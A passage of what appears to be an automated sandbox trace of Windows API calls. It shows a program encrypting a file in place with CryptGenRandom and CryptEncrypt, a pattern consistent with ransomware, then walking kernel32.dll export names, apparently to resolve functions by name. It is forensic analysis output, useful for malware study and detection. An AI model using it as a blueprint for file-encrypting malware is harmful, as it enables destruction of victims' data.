flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0149.355] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0149.355] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=10134) returned 1 [0149.355] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0149.355] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0149.368] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0149.368] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0149.368] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0149.369] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0149.369] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0149.370] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.370] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0149.370] CloseHandle (hObject=0x5f8) returned 1 [0149.370] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.370] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0149.371] CloseHandle (hObject=0x0) returned 0 [0149.371] CloseHandle (hObject=0x5f4) returned 1 [0149.372] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.372] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0149.373] GetTickCount () returned 0x3a99f [0149.373] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0149.373] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0149.373] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0149.373] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0149.374] lstrlenA (lpString="kernel32.dll") returned 12 [0149.374] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0149.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0149.374] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0149.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0149.374] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0149.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0149.374] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0149.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0149.374] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0149.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0149.374] lstrlenA (lpString="ADDATOMA") returned 8 [0149.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0149.374] lstrlenA (lpString="ADDATOMW") returned 8 [0149.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0149.374] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0149.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0149.374] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0149.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0149.374] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0149.374] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0149.374] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0149.375] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0149.375] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0149.375] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0149.375] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0149.375] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0149.375] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0149.375] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0149.375] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0149.375] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0149.375] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0149.375] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0149.375] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0149.375] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0149.375] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0149.375] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0149.375] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0149.375] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0149.376] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0149.376] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0149.376] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0149.376] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0149.376] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0149.376] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0149.376] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0149.376] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0149.376] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0149.376] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0149.376] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0149.376] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0149.376] lstrlenA (lpString="BACKUPREAD") returned 10 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0149.376] lstrlenA (lpString="BACKUPSEEK") returned 10 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0149.376] lstrlenA (lpString="BACKUPWRITE") returned 11 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0149.376] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0149.376] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0149.377] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0149.377] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0149.377] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0149.377] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0149.377] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0149.377] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0149.377] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0149.377] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0149.377] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0149.377] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0149.377] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0149.377] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0149.377] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0149.377] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0149.377] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0149.377] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0149.377] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0149.378] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0149.378] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0149.378] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0149.378] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0149.378] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0149.378] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0149.378] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0149.378] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0149.378] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0149.378] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0149.378] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0149.378] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0149.378] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0149.378] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0149.378] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0149.378] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0149.378] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0149.379] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0149.379] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0149.379] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0149.379] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0149.379] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0149.379] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0149.379] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0149.379] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0149.379] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0149.379] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0149.379] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0149.379] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0149.379] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0149.379] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0149.379] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0149.379] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0149.379] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0149.379] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0149.380] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0149.380] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0149.380] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0149.380] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0149.380] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0149.380] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0149.380] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0149.380] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0149.380] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0149.380] lstrlenA 